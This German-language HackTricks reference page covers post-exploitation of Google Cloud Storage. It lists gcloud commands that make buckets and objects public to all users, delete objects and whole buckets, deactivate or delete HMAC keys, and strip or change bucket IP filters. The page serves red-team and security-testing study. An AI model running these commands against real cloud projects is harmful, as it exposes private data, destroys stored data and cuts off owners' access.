GCP - Storage Post Exploitation

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Cloud Storage

Für weitere Informationen über Cloud Storage siehe diese Seite:

GCP - Storage Enum

Give Public Access

Es ist möglich, externen Nutzern (mit oder ohne Login in GCP) Zugriff auf den Inhalt von buckets zu geben. Standardmäßig ist die Option, einen bucket öffentlich zugänglich zu machen, jedoch deaktiviert:

# Disable public prevention
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention

# Make all objects in a bucket public
gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers --role=roles/storage.objectViewer
## I don't think you can make specific objects public just with IAM

# Make a bucket or object public (via ACL)
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER

Wenn du versuchst, einem bucket mit deaktivierten ACLs ACLs zuzuweisen, erscheint folgender Fehler: ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access

Um auf offene buckets über den Browser zuzugreifen, rufe die URL https://<bucket_name>.storage.googleapis.com/ oder https://<bucket_name>.storage.googleapis.com/<object_name> auf

storage.objects.delete (storage.objects.get)

Um ein Objekt zu löschen:

gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>

storage.buckets.delete, storage.objects.delete & storage.objects.list

Um einen Bucket zu löschen:

gcloud storage rm -r gs://<BUCKET_NAME>

HMAC-Schlüssel deaktivieren

Die Berechtigung storage.hmacKeys.update erlaubt das Deaktivieren von HMAC-Schlüsseln, und die Berechtigung storage.hmacKeys.delete erlaubt einer Identität, HMAC-Schlüssel zu löschen, die mit Dienstkonten in Cloud Storage verknüpft sind.

# Deactivate
gcloud storage hmac update <ACCESS_ID> --deactivate

# Delete
gcloud storage hmac delete <ACCESS_ID>

storage.buckets.setIpFilter & storage.buckets.update

Die Berechtigung storage.buckets.setIpFilter zusammen mit der Berechtigung storage.buckets.update erlaubt einer Identität, IP-Adressfilter auf einem Cloud Storage bucket zu konfigurieren und festzulegen, welche IP-Bereiche oder -Adressen Zugriff auf die Ressourcen des Buckets haben.

Um den IP-Filter vollständig zu löschen, kann der folgende Befehl verwendet werden:

gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>

Um die gefilterten IP-Adressen zu ändern, kann der folgende Befehl verwendet werden:

gcloud storage buckets update gs://<BUCKET_NAME> \
--ip-filter-file=ip-filter.json \
--project=<PROJECT_ID>

Die JSON-Datei repräsentiert den Filter selbst, etwa so:

{
"mode": "Enabled",
"publicNetworkSource": {
"allowedIpCidrRanges": ["<IP>/<MASK>"]
},
"allowCrossOrgVpcs": false,
"allowAllServiceAgentAccess": false
}

storage.buckets.restore

Einen Bucket wiederherstellen mit:

gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
--project=<PROJECT_ID>

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks